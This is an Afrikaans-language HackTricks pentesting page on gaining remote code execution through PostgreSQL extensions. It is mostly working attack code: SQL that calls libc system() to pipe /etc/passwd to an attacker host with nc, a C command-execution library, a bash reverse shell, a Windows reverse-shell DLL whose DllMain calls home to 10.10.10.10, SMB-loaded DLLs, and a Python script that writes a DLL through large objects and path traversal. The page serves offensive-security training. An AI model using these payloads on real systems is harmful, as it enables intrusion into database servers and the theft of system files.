RCE met PostgreSQL Uitbreidings
Reading time: 11 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
PostgreSQL Uitbreidings
PostgreSQL is ontwikkel met uitbreidbaarheid as 'n kernfunksie, wat dit moontlik maak om uitbreidings naatloos te integreer asof dit ingeboude funksies is. Hierdie uitbreidings, wat essensieel biblioteke in C geskryf is, verryk die databasis met bykomende funksies, operateurs of tipes.
Vanaf weergawe 8.1 word 'n spesifieke vereiste op die uitbreidingsbiblioteke opgelê: hulle moet saamgekompileer word met 'n spesiale kop. Sonder dit sal PostgreSQL hulle nie uitvoer nie, wat verseker dat slegs kompatible en potensieel veilige uitbreidings gebruik word.
Hou ook in gedagte dat as jy nie weet hoe om lêers na die slagoffer op te laai deur PostgreSQL nie, moet jy hierdie pos lees.
RCE in Linux
Vir meer inligting, kyk: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
Die uitvoering van stelselskommando's vanaf PostgreSQL 8.1 en vroeëre weergawes is 'n proses wat duidelik gedokumenteer is en eenvoudig is. Dit is moontlik om hierdie: Metasploit module te gebruik.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Skryf binêre lêer vanaf base64
Om 'n binêre lêer in postgres te skryf, mag jy base64 moet gebruik, dit sal nuttig wees vir daardie saak:
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
IF fh <= 2 THEN
RETURN 1;
END IF;
SELECT decode(s, 'base64') INTO w;
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
IF rs < 0 THEN
RETURN 2;
END IF;
i := i + 1;
END LOOP;
SELECT close(fh) INTO rs;
RETURN 0;
END;
$$ LANGUAGE 'plpgsql';
egter, toe dit op groter weergawes probeer is is die volgende fout gewys:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Hierdie fout word verduidelik in die PostgreSQL dokumentasie:
Om te verseker dat 'n dinamies gelaaide objeklêer nie in 'n onverenigbare bediener gelaai word nie, kontroleer PostgreSQL dat die lêer 'n “magiese blok” met die toepaslike inhoud bevat. Dit stel die bediener in staat om voor die hand liggende onverenigbaarhede te detecteer, soos kode wat saamgekom is vir 'n ander hoofweergawe van PostgreSQL. 'n Magiese blok is vereis vanaf PostgreSQL 8.2. Om 'n magiese blok in te sluit, skryf dit in een (en slegs een) van die module-bronlêers, nadat jy die koptekst fmgr.h ingesluit het:
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
Sedert PostgreSQL weergawe 8.2 is die proses vir 'n aanvaller om die stelsel te ontgin, moeiliker gemaak. Die aanvaller moet óf 'n biblioteek gebruik wat reeds op die stelsel teenwoordig is, óf 'n pasgemaakte biblioteek oplaai. Hierdie pasgemaakte biblioteek moet saamgekom wees teen die verenigbare hoofweergawe van PostgreSQL en moet 'n spesifieke "magiese blok" insluit. Hierdie maatreël verhoog die moeilikheidsgraad van die ontginning van PostgreSQL-stelsels aansienlik, aangesien dit 'n dieper begrip van die stelsel se argitektuur en weergawe-verenigbaarheid vereis.
Compile die biblioteek
Kry die PsotgreSQL weergawe met:
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
Vir kompatibiliteit is dit noodsaaklik dat die hoofweergawes ooreenstem. Daarom moet die saamstel van 'n biblioteek met enige weergawe binne die 9.6.x-reeks suksesvolle integrasie verseker.
Om daardie weergawe in jou stelsel te installeer:
apt install postgresql postgresql-server-dev-9.6
En kompileer die biblioteek:
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
Laai dan die saamgestelde biblioteek op en voer opdragte uit met:
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
Jy kan hierdie biblioteek vooraf saamgekompileer vind vir verskeie versies van PostgreSQL en jy kan selfs hierdie proses outomatiseer (as jy PostgreSQL toegang het) met:
RCE in Windows
Die volgende DLL neem as invoer die naam van die binêre en die nommer van keer wat jy dit wil uitvoer en voer dit uit:
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);
/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
int instances = PG_GETARG_INT32(1);
for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
U kan die DLL wat saamgepers is in hierdie zip vind:
U kan aan hierdie DLL watter binêre uit te voer en die aantal keer om dit uit te voer, aandui; in hierdie voorbeeld sal dit calc.exe
2 keer uitvoer:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
In hier kan jy hierdie omgekeerde-skaal vind:
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);
memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);
return TRUE;
}
#pragma warning(pop) /* re-enable 4996 */
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(add_one);
Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
Let op hoe in hierdie geval die kwaadwillige kode binne die DllMain-funksie is. Dit beteken dat dit in hierdie geval nie nodig is om die gelaaide funksie in postgresql uit te voer nie, net om die DLL te laai sal die terugskakel uitvoer:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
Die PolyUDF projek is ook 'n goeie beginpunt met die volle MS Visual Studio projek en 'n gereed-om-te-gebruik biblioteek (insluitend: command eval, exec en cleanup) met multiversieondersteuning.
RCE in nuutste PostgreSQL weergawes
In die nuutste weergawes van PostgreSQL is daar beperkings opgelê waar die superuser
verbied word om gesamentlike biblioteek lêers te laai behalwe uit spesifieke gidse, soos C:\Program Files\PostgreSQL\11\lib
op Windows of /var/lib/postgresql/11/lib
op *nix stelsels. Hierdie gidse is verseker teen skryfbewerkings deur óf die NETWORK_SERVICE óf postgres rekeninge.
Ten spyte van hierdie beperkings, is dit moontlik vir 'n geverifieerde databasis superuser
om binaire lêers na die lêerstelsel te skryf met behulp van "groot voorwerpe." Hierdie vermoë strek tot skryf binne die C:\Program Files\PostgreSQL\11\data
gids, wat noodsaaklik is vir databasisoperasies soos om tabelles op te dateer of te skep.
'n Beduidende kwesbaarheid ontstaan uit die CREATE FUNCTION
opdrag, wat directory traversal na die datagids toelaat. Gevolglik kan 'n geverifieerde aanvaller hierdie traversal benut om 'n gesamentlike biblioteek lêer in die datagids te skryf en dit dan te laai. Hierdie uitbuiting stel die aanvaller in staat om arbitrêre kode uit te voer, wat native kode-uitvoering op die stelsel bereik.
Aanvalstroom
Eerstens moet jy groot voorwerpe gebruik om die dll op te laai. Jy kan sien hoe om dit hier te doen:
Big Binary Files Upload (PostgreSQL)
Sodra jy die uitbreiding (met die naam poc.dll vir hierdie voorbeeld) na die datagids opgelaai het, kan jy dit laai met:
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
Note dat jy nie die .dll
uitbreiding hoef by te voeg nie, aangesien die create funksie dit sal byvoeg.
Vir meer inligting lees die oorspronklike publikasie hier.
In daardie publikasie was dit die kode wat gebruik is om die postgres uitbreiding te genereer (om te leer hoe om 'n postgres uitbreiding te compileer, lees enige van die vorige weergawes).
Op dieselfde bladsy is hierdie exploit om hierdie tegniek te outomatiseer gegee:
#!/usr/bin/env python3
import sys
if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
Verwysings
- https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
- https://www.exploit-db.com/papers/13084
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.